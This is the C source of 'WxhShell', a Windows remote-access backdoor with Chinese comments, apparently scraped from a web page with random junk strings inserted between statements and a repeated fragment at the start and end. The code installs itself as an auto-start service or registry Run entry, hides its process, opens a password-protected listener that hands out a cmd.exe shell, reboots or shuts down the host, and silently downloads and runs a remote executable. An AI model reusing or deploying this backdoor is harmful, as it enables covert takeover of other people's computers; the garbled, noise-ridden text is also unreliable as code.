, PROCNTQSIP NtQueryInformationProcess; kmwFw># ~Q5HM static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Wp $\> static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *&s_u)b FsjblB3?E HANDLE hProcess; &>SE9w/?o PROCESS_BASIC_INFORMATION pbi; r.[k D"l \oyr[so(i HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Flsf5 Tr0 if(NULL == hInst ) return 0; HXX"B,N TD<. :ul] g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3 }XS|Y g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t V</x0# NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }I"^WCyH P$Nwf,d2u if (!NtQueryInformationProcess) return 0; '0+-Hit? t$b`Am hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S:wmm}XQ if(!hProcess) return 0; 0t8-oui [LE_lATjU if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3$_wAt4w Ktoxl+I? CloseHandle(hProcess); L fhd02 %VgR * hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r?{tBju^ if(hProcess==NULL) return 0; 6B=J*8
Hs sHNt>5p HMODULE hMod; ~O!v?2it8q char procName[255]; I?gbu@o unsigned long cbNeeded; 09r.0Ks M%m$5[;n if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &12.| 92EvCtf CloseHandle(hProcess); R"jX9~3Ln $4m{g"xL if(strstr(procName,"services")) return 1; // 以服务启动 yo5|~"yZY t2>Vj>U return 0; // 注册表启动 BO^e.iB/ } c8h
9 (c;$^xZK // 主模块 ;tO (,^ int StartWxhshell(LPSTR lpCmdLine) IsI\T8yfc { xGjEEBL SOCKET wsl; ne%ckW?ks BOOL val=TRUE; Gmc0yRN int port=0; /J^yOR9 struct sockaddr_in door; :%R3(
& I/ c*
? if(wscfg.ws_autoins) Install(); yA~W|q(/V (sY?"(~j?T port=atoi(lpCmdLine); &@yW<< g94NU
X if(port<=0) port=wscfg.ws_port; Y`%:hvy~ YkTEAI|i WSADATA data; _ 95V"h if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /IODRso/! Xcb\N if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; {C
[7V{4(% setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [!"u&iu` door.sin_family = AF_INET; C Z|R-ky6p door.sin_addr.s_addr = inet_addr("127.0.0.1"); KdUmetx1 door.sin_port = htons(port); vNP,c]:% DEIn:d if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #8cY,%<S] closesocket(wsl); N/(&&\3 return 1; OX!9T.j } QM
O OJA p tMysYT' if(listen(wsl,2) == INVALID_SOCKET) { ;sDFTKf closesocket(wsl); Pl
U!-7 return 1; {A{=RPL } P'[w9'B Wxhshell(wsl); u>}k+8~ WSACleanup(); m8.sHw 99vm7"5 hQ return 0; =F6J%$ t68h$u } _&P![o)x +`zM^'^$ // 以NT服务方式启动 -3A#a_fu VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &{99Owqg { U)2\=%8 DWORD status = 0; M '[.ay DWORD specificError = 0xfffffff; ,u/GA<'#M CtS*"c,j serviceStatus.dwServiceType = SERVICE_WIN32; u9 J;OsnHK serviceStatus.dwCurrentState = SERVICE_START_PENDING; F4@``20| serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WI' ;e4 serviceStatus.dwWin32ExitCode = 0; :Fm)<VN" serviceStatus.dwServiceSpecificExitCode = 0; L9(fa+$+# serviceStatus.dwCheckPoint = 0; Ga"t4[=I serviceStatus.dwWaitHint = 0; p3&w/K{L6w G}d@^9FkE hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1s .Ose if (hServiceStatusHandle==0) return; :beBiO #7GbG\ status = GetLastError(); |,|b~> if (status!=NO_ERROR) 5P [b/.n { O.Z<dy+ serviceStatus.dwCurrentState = SERVICE_STOPPED; .>_p7=a serviceStatus.dwCheckPoint = 0; ?Jio9Zr serviceStatus.dwWaitHint = 0; YvR MUT
serviceStatus.dwWin32ExitCode = status; WOiw 0 serviceStatus.dwServiceSpecificExitCode = specificError; 1jpcoJ@s SetServiceStatus(hServiceStatusHandle, &serviceStatus); lUbQ@7a<' return; a~=$9+?w } ^<Q+=\h 6p])2]N>p serviceStatus.dwCurrentState = SERVICE_RUNNING; \^i/: serviceStatus.dwCheckPoint = 0; a2/!~X9F serviceStatus.dwWaitHint = 0; g^/ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s${ew.eW } s0WI93+z %Sf%XNtu // 处理NT服务事件,比如:启动、停止 lOYzo VOID WINAPI NTServiceHandler(DWORD fdwControl) 1*, f { n]jZ2{g+ switch(fdwControl) >d%;+2 { \hoYQK j case SERVICE_CONTROL_STOP: ;b-Y$< serviceStatus.dwWin32ExitCode = 0; ^^1rjh1I serviceStatus.dwCurrentState = SERVICE_STOPPED; `C9/= serviceStatus.dwCheckPoint = 0; eJlTCXeZ| serviceStatus.dwWaitHint = 0; 3!ZndWSHV { A@^Y2:pY SetServiceStatus(hServiceStatusHandle, &serviceStatus); d#'aT mu! } *DcJ). return; :_X9x{ case SERVICE_CONTROL_PAUSE: eTw sh] serviceStatus.dwCurrentState = SERVICE_PAUSED; v47Y7s:uQ break; hi^@969 case SERVICE_CONTROL_CONTINUE: ~RgO9p(dY serviceStatus.dwCurrentState = SERVICE_RUNNING; Us P1bh4 break; E|P case SERVICE_CONTROL_INTERROGATE: O0[.*xG break; 5srj|'ja }; #-r,; SetServiceStatus(hServiceStatusHandle, &serviceStatus); ckG`^< } 9)}Nx>K vau0Jn%=ck // 标准应用程序主函数 z)*7LI int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >VIb|YA { XR3=Y0YDf R-5EztmLae // 获取操作系统版本 XpFW(v OsIsNt=GetOsVer(); ;n0VF77>O GetModuleFileName(NULL,ExeFile,MAX_PATH); J=Q?_$xb} u2}zRC= // 从命令行安装 &]~Vft
l if(strpbrk(lpCmdLine,"iI")) Install(); qn=~4rg]R w_4/::K* // 下载执行文件 g:V8"' if(wscfg.ws_downexe) { ]rU$0)VN if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aAJ'0xnj WinExec(wscfg.ws_filenam,SW_HIDE); JO{Rth } WCJ$S\# QU{|S.\ if(!OsIsNt) { K)=<hL // 如果时win9x,隐藏进程并且设置为注册表启动 M*6}# ST HideProc(); ;iEr+ StartWxhshell(lpCmdLine); U(*k:Fw } kB:6e7D|[ else +a7J;-| if(StartFromService()) Qv4g#jX{ // 以服务方式启动 oS.fy31p StartServiceCtrlDispatcher(DispatchTable); 7S'3U}Y>VX else vG;)(.: // 普通方式启动 *>"k/XUn$ StartWxhshell(lpCmdLine); a8$gXX-2 R{N9'2l: return 0; _ljdo`j#N } `q":i>FP2 C5k\RS9 1VRexp vOMmsU F =========================================== Bg3`w__l; ,j^z]; ! 3&_#VO afE`GG- >Z-f</v03 p) '.swpJ " J)yNp,V ii,/omn: #include <stdio.h> (?[^##03MN #include <string.h> E6
glR #include <windows.h> \l$gcFXb #include <winsock2.h> x.J%
c[Q8 #include <winsvc.h> k(As^'> #include <urlmon.h> 1"7Rs}l7 LNm{}VJ% #pragma comment (lib, "Ws2_32.lib") U TT 7a" #pragma comment (lib, "urlmon.lib") q4Z9;^S e;_ cC7 #define MAX_USER 100 // 最大客户端连接数 CB&$tDi #define BUF_SOCK 200 // sock buffer e[`u: #define KEY_BUFF 255 // 输入 buffer Qqju6} + P01o: /} #define REBOOT 0 // 重启 F^knlv' #define SHUTDOWN 1 // 关机 kWkAfzf4a 0qND 2_ #define DEF_PORT 5000 // 监听端口 k#*tf:R q].n1w[ #define REG_LEN 16 // 注册表键长度 02|f@bP. #define SVC_LEN 80 // NT服务名长度 ctqXzM ` ~k}>CNTr // 从dll定义API '8 O(J7J typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8+gti*C?\ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @#wBK3Ut^ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f[}N typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DH@})TN*O l,(Mm,3 // wxhshell配置信息 ?$:;hGO.<~ struct WSCFG { <X5'uve int ws_port; // 监听端口 7x,c)QES` char ws_passstr[REG_LEN]; // 口令 $8kQM int ws_autoins; // 安装标记, 1=yes 0=no aN\psg char ws_regname[REG_LEN]; // 注册表键名 [;IW'cXNq char ws_svcname[REG_LEN]; // 服务名 aq a%B char ws_svcdisp[SVC_LEN]; // 服务显示名 "!\O N)l* char ws_svcdesc[SVC_LEN]; // 服务描述信息 gc%aaYf> char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Km)5;BQxg int ws_downexe; // 下载执行标记, 1=yes 0=no N;)Y+amg^ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a-P'h1hbH char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?B&Z x-krd b7X-mkF }; 8A|{jH74 bC[TLsh7{2 // default Wxhshell configuration Cpyv@+;D struct WSCFG wscfg={DEF_PORT, <4caG2~q "xuhuanlingzhe", [P'crV,m 1, cy0
%tsB| "Wxhshell", Y5J}*`[Mr "Wxhshell", T);eYC"@ "WxhShell Service", d@+}_R"c "Wrsky Windows CmdShell Service", KK}?x6wV0, "Please Input Your Password: ", $6&P 69< 1, s n|q
EH "http://www.wrsky.com/wxhshell.exe", *6Ojv-
G|5 "Wxhshell.exe" 6##}zfl }; D4CN%^? t>W^^'=E // 消息定义模块 SAuZWA4g[ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 76Drhh( char *msg_ws_prompt="\n\r? for help\n\r#>"; M7$ h char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Mn<G9KR char *msg_ws_ext="\n\rExit."; y;0k |C char *msg_ws_end="\n\rQuit."; 'Gn-8r+ char *msg_ws_boot="\n\rReboot..."; aWp9K+4R$/ char *msg_ws_poff="\n\rShutdown..."; 4v@urW s char *msg_ws_down="\n\rSave to "; fxW,S 50 s)5G# char *msg_ws_err="\n\rErr!"; ER z@o_ char *msg_ws_ok="\n\rOK!"; w"-' q\PHA char ExeFile[MAX_PATH]; DXbzl
+R int nUser = 0; eSV_.uvsb HANDLE handles[MAX_USER]; [1I>Bc&o* int OsIsNt; (r&e| QuJ~h}k SERVICE_STATUS serviceStatus; {nyQ]Nu" SERVICE_STATUS_HANDLE hServiceStatusHandle; cfb8kNn~+ Fv[. %tW // 函数声明 Kp_L\'.I5$ int Install(void); 1P"akc int Uninstall(void); `(SWE+m1g int DownloadFile(char *sURL, SOCKET wsh); LGxQ>f[V int Boot(int flag); .JR"|;M} void HideProc(void); 1QfOD-lv int GetOsVer(void); >JNK06T int Wxhshell(SOCKET wsl); qr5ME/)z void TalkWithClient(void *cs); hq5=>p int CmdShell(SOCKET sock); pq
\M;& int StartFromService(void); f z)i9D@ int StartWxhshell(LPSTR lpCmdLine); Bld%d:i Jk$XL<t VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <Pg]V:=g' VOID WINAPI NTServiceHandler( DWORD fdwControl ); \ 2Jr(?U ;%Z%]nIS // 数据结构和表定义 Tum9Xa
SERVICE_TABLE_ENTRY DispatchTable[] = %-z AV*> { 8vN} v3HV& {wscfg.ws_svcname, NTServiceMain}, T<p,KqH {NULL, NULL} B{ i5UhxD }; aL wd#/! Dxc`K?M // 自我安装 S-FoyID\H int Install(void) >[4;K&$B { <K8$00lm char svExeFile[MAX_PATH]; ` ,B&oV> HKEY key; kg2?I L strcpy(svExeFile,ExeFile); ?}QHEk:H }m?1IU%q // 如果是win9x系统,修改注册表设为自启动 bLx70$ if(!OsIsNt) { GN36:>VWb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
sFR'y. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8[\(*E}d!X RegCloseKey(key); l)PEg PSRV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +6vm4(3? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9]Q\Pr\Ub$ RegCloseKey(key); ~=t,g S return 0; 7\'ow|)}v } IN? A`A } 97H2hYw9l } #
;,b4O7@ else { ]jWe']T R/H?/ // 如果是NT以上系统,安装为系统服务 ` r; . SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "s']@Qv if (schSCManager!=0) u8Ul +u { gnS0$kCJ: SC_HANDLE schService = CreateService &} b'cO ( !_+LmBd
G schSCManager, %ZV a{Nc wscfg.ws_svcname, kcH?l wscfg.ws_svcdisp, (-\,t SERVICE_ALL_ACCESS, NT~L=xsY SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , JwzA'[tM SERVICE_AUTO_START, Ga\E`J$c SERVICE_ERROR_NORMAL, /jI>=:z svExeFile, *iSsGb\M% NULL, "%+C@>`( NULL, 'bP-pgc NULL, o;o
ji NULL, cw3JSz9 NULL "FC;k
>m ); T-=sC=sS, if (schService!=0) -I1Ne^DZn4 { Pnb?NVP!^9 CloseServiceHandle(schService); Y(WX`\M97 CloseServiceHandle(schSCManager); f1Ruaz- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dZ UB strcat(svExeFile,wscfg.ws_svcname); w.qpV]9> if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aHKv*-z- RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); KZn\ iwj RegCloseKey(key); L+@RK6dq return 0; M9MfO* } u</21fz' } 89F^I"Im( CloseServiceHandle(schSCManager); dMsX}=EI< } '?+q3lps } #vhxW=L`= imdfin?= return 1; RdlcJxM } EEQW$W1@ /}?"O~5M" // 自我卸载
R1'bB"$ int Uninstall(void) ]}/LNO*L" { ;o;P2}zD HKEY key; ,HXY|fYr
TY"=8}X1 if(!OsIsNt) { 6xSdA;<+] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `gq@LP"o RegDeleteValue(key,wscfg.ws_regname); 3_(fisvx RegCloseKey(key); %WrUu|xj>_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <J=9,tv< RegDeleteValue(key,wscfg.ws_regname); |$`LsA. RegCloseKey(key); m(nGtrQJm return 0; V7u;"vD } T78`~-D4< } l]whL1N3 } kUAj Q> else { ]zHUF!a* x$9UHEb kM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); * a xOen if (schSCManager!=0) H kDT14 `& { r8XY"< SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 50Z$3T if (schService!=0) n~\"W { BnH<-n_ if(DeleteService(schService)!=0) { ?DEj|
i8 CloseServiceHandle(schService); Le"$k su> CloseServiceHandle(schSCManager); nG&=$7x^ return 0; EzK,SN# } RE`XyS0Q CloseServiceHandle(schService); <!^wGN$f } ^-T!(P: CloseServiceHandle(schSCManager); IbQ3* } ~4o2!!^tI } <Yfk7Un XA}! return 1; ']1j Mn } )'(7E$d %fMK^H8{ // 从指定url下载文件 JB(~O` int DownloadFile(char *sURL, SOCKET wsh) A?8f 6 { _wp6rb:8! HRESULT hr; zN JK+_O= char seps[]= "/"; xq v4gN6 char *token; siw }
}} char *file; > Zo_-, char myURL[MAX_PATH]; ~}|)@,N'bm char myFILE[MAX_PATH]; $6 \v1 %qRbl4 strcpy(myURL,sURL); Sf[ZGY) token=strtok(myURL,seps); po+>83/!oq while(token!=NULL) ?!1K@/! { g@YJ#S (} file=token; AQ 3n=Lr token=strtok(NULL,seps); zghUwW |K } aoQK.7 m\|I.BUG GetCurrentDirectory(MAX_PATH,myFILE); MGeHccqh2 strcat(myFILE, "\\"); a6"Pe07t strcat(myFILE, file); bb[.Kvq5 send(wsh,myFILE,strlen(myFILE),0); E$m3Gg)s>N send(wsh,"...",3,0); "ZF:}y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GQ
ZEMy7 if(hr==S_OK) NK]X ="` return 0; aH'Sz'|E else ;
k{w@L.@ return 1; .r+ u pY !'(bwbd } a5C% OI< J3cbDE%^m // 系统电源模块 P4"_qxAW int Boot(int flag) to9
u%d 8 { k$?zh$ HANDLE hToken; 8r(S=dA TOKEN_PRIVILEGES tkp; c?5e| dZz xJrRJwL if(OsIsNt) { #+V-65v OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <SmXMruU
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mR:G,XytxM tkp.PrivilegeCount = 1; ECqcK~h#E tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y!* \=h6h AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M~7 gUb| if(flag==REBOOT) { #>C.61Fx if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SU9qF73Y return 0; ENm\1 } :%Na-j9hV) else { Xu $_%+46 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @x?7J@: return 0; #r M/ } hu.c&Q> } p<
Emy% else { v??}d
if(flag==REBOOT) { 7k}[x|u if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _3DRCNvh return 0; j#r|t+{"C } 74hGkf^S else { 0TK+R43_ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CsG1HR@ return 0; /PF X1hSu } $EHAHNL?Lx } d-nqV5 JaP2Q} &B return 1; X(kyu,w } KW|X\1H )3PQ|r' // win9x进程隐藏模块 xTNWT_d void HideProc(void) )B.NV<m { lR_ 4iyqb =qiX0JT HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O?|opD if ( hKernel != NULL ) q\*",xZxwz { !fUrDOM0E pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~.7r ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y}%=:Yt FreeLibrary(hKernel); Q`}1 B } 52K_kB5 +[M5x[[$ return; .w2X24Mmb } _!6~o> OnFx8r:q@% // 获取操作系统版本 )]~'zOE_ int GetOsVer(void) A$vCm { jrT5Rw_}q OSVERSIONINFO winfo; u6h"=l{ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?-[.H^]s~ GetVersionEx(&winfo); hyv*+FV; if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *kE2d{h^=C return 1; bv,_7UOG else ) '"@L7U return 0; @bU(z$eB } aGvD ?zp@HSa9 // 客户端句柄模块 Qa~dd{? int Wxhshell(SOCKET wsl) <Okk;rj2 { r!+-"hS! SOCKET wsh; lSU&Yqx struct sockaddr_in client; 'zV/4iE= DWORD myID; L/9f"%kZ z17 while(nUser<MAX_USER) | W:JI { jz(}P8 int nSize=sizeof(client); 4Sv&iQ=vh wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v{9< ATi if(wsh==INVALID_SOCKET) return 1; 2^N
4( 8$}1|"F handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4h wUH if(handles[nUser]==0) ?h4-D:!$L closesocket(wsh); u1d{|fF else sxcpWSGA^ nUser++; f;M7y:A8q, } 3#vhQ*xU WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q-78B'!= tj@IrwC^e" return 0; |NFX"wv:c< } %IG cn48J A`2l ;MW // 关闭 socket Xao
0cb.R void CloseIt(SOCKET wsh) KrN#>do&< { }|>mR]; closesocket(wsh); y1P KoN|K nUser--; c%Ht;
sK`* ExitThread(0); {X$8yy2zC5 } T1yJp$yD" R:HF~} // 客户端请求句柄 zTb!$8D"g void TalkWithClient(void *cs) KsI[ { i_8q!CL@{ 7kapa59 SOCKET wsh=(SOCKET)cs; w]Z*"B&h char pwd[SVC_LEN]; sE7!U| char cmd[KEY_BUFF]; 3D>syf char chr[1]; xKIzEN
& int i,j; ;QbMVY h; 105$E1 while (nUser < MAX_USER) { bp Q/#\Z >]uV if(wscfg.ws_passstr) { |~vo if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1?s]nU //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Sgp$B: //ZeroMemory(pwd,KEY_BUFF); lN"%~n? i=0;
)z# while(i<SVC_LEN) { qTFktJZw G/ToiUY // 设置超时 ??Zh$^No: fd_set FdRead; Z>1\|j struct timeval TimeOut; m~a' FD_ZERO(&FdRead); h ,;f6 FD_SET(wsh,&FdRead); ?h)Z ;,} TimeOut.tv_sec=8; v:0. TimeOut.tv_usec=0; ~_^#/BnAl int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k fS44NV if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :[f2iZ" J
WaI[n} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O^(ji8[l pwd=chr[0]; RL0,QC)e#@ if(chr[0]==0xd || chr[0]==0xa) { Z%_"-ENT pwd=0; P)bS ;w\(Y break; ir^%9amh } CjRI!}S i++; B;f\H,/59 } tHgn-Dhzr [:Kl0m7 // 如果是非法用户,关闭 socket y>}dKbCN if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <n+?7`d, } 3(D!]ku~m owYf1=G send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Fljqh8c5 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oCD#Gmr 0N02 E while(1) { nlv8HC &|rh~;:jUX ZeroMemory(cmd,KEY_BUFF); YCJc Dab yTj!(C // 自动支持客户端 telnet标准 sp%EA=: E j=0; 3|1ug92
while(j<KEY_BUFF) { *fs'%"w- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9X<o8^V cmd[j]=chr[0]; )*j>g38? if(chr[0]==0xa || chr[0]==0xd) { 1u4) cmd[j]=0; 72J@Dc break; l)@Zuh } Q4;eN w j++; 2flgfB}2k } b5r.N1ms FdrH, // 下载文件 cWG>w6FI if(strstr(cmd,"http://")) { =3KK/[2M send(wsh,msg_ws_down,strlen(msg_ws_down),0); uCX+Lw+As if(DownloadFile(cmd,wsh)) ;IklS*p] send(wsh,msg_ws_err,strlen(msg_ws_err),0); V5$J else <HReh>)[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jSLC L' } (;1rM}B;1 else { tG1,AkyZ r?^[o switch(cmd[0]) { N!O.=>8< H"~]|@g-p // 帮助 "'389*- case '?': { y^utMH send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XQI.z7F break; lHg&|S&J } {R`,iWV // 安装 Ml)0z&jQX case 'i': { iR
k.t=B if(Install()) \?n4d#=$o send(wsh,msg_ws_err,strlen(msg_ws_err),0); P(H,_7 4 else _FV<[x,nE8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )`Zj:^bz9 break; Jxyeh1zqB } vkFfHzR$ // 卸载 Ww(($e! case 'r': { @|yRo8| if(Uninstall()) ']'H8Y-M send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2|J>e(&akY else )HLe8:PG~ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3Zy $NsY3 break; r&^LSTU0! } ;'^5$q // 显示 wxhshell 所在路径 \\<waU'' case 'p': { `jl 1Q,~2r char svExeFile[MAX_PATH]; irqNnnMGEa strcpy(svExeFile,"\n\r"); cQ:Y@f 9 strcat(svExeFile,ExeFile); d[h2Y/AR send(wsh,svExeFile,strlen(svExeFile),0); 'A#`,^]uLF break; -c%K_2` } )9(Mt_ // 重启 v=-8} S case 'b': { |~QHCg< send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -Oj}PGj$e\ if(Boot(REBOOT)) #Y)Gos send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z^Y_+)=s else { +4[L_ closesocket(wsh); a(!_3i@ ExitThread(0); ;
E Nhy } *k&yD3br-V break; @fDWp/ } H.sYy-_]F // 关机 :o!bz>T case 'd': { ~
NO9s send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u!NY@$Wc if(Boot(SHUTDOWN)) |nf FI send(wsh,msg_ws_err,strlen(msg_ws_err),0); H@!\?5I else { B,`B!rU closesocket(wsh); +9 Uo<6} ExitThread(0); L^}i7nJ } RbexsBq break; 3*N-@;[>b } w!~%v
#
// 获取shell |
rY.IbL case 's': { RR*eq.; CmdShell(wsh); @-uV6X8| closesocket(wsh); sbWen? ExitThread(0); BvXA9YQ3 break; D1Yc_ } C26vH#C // 退出 NGA8JV/U case 'x': { }sbh|# send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V$D+Joj CloseIt(wsh); mM6g-)cV break; =Gka;,n } -pWnO9q // 离开 (e:@7W)L case 'q': { O$'BJKj-4 send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?*2DR:o>@ closesocket(wsh); v' x)AbbC WSACleanup(); ^lF'KW$ exit(1); v()
wngn break; qs96($ } .XD.'S } u@(z(P } \v7->Sy8 6qCRM *V // 提示信息 .@#GNZe if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]n8
5.DF } r8o9C } g{t)I0xm '}\#bMeObg return; h.A@o#x } RmR-uQU-c )<]*! // shell模块句柄 3LxhQVx2 int CmdShell(SOCKET sock)
>mk} { Ts+S>$ STARTUPINFO si; Z6.0X{6nA ZeroMemory(&si,sizeof(si)); WFl, u!"A si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {F Ir|R& si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0|1)cO}Dy PROCESS_INFORMATION ProcessInfo; ~OuK ewr\ char cmdline[]="cmd"; i ,[S1g CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0^5*@vt return 0; 75u5zD } 4Nz@s^9 -?m"+mUP // 自身启动模式 hJkP_(+J\ int StartFromService(void) SN${cs% { C}i1)
typedef struct W @X/Z8.( { v;S_7# DWORD ExitStatus; q%G"P*g$( DWORD PebBaseAddress; k<bA\5K DWORD AffinityMask; ?3f-"K_r DWORD BasePriority; L7\rx w ULONG UniqueProcessId; 'U9l ULONG InheritedFromUniqueProcessId; Ukf4Q\@w } PROCESS_BASIC_INFORMATION; ~,*=j~#h gpIq4Q< PROCNTQSIP NtQueryInformationProcess; .u+ZrA# :A~6Gk92A static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +prr~vgE static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3RwDIk?>% rA=iBb3` HANDLE hProcess; nUp, %z[ PROCESS_BASIC_INFORMATION pbi; ?+Q?K30: =vd9mb- HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B+8lp4V9% if(NULL == hInst ) return 0; K\bA[5+N ,Pq@{i# g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6~:eO(pK
l g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5$Q}Zxh NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kjS9?>i XL10W ^ if (!NtQueryInformationProcess) return 0; !foiGZ3g DlD;rL= hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m2i'$^a# if(!hProcess) return 0; iSiez' _4Ciai2Ql if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;
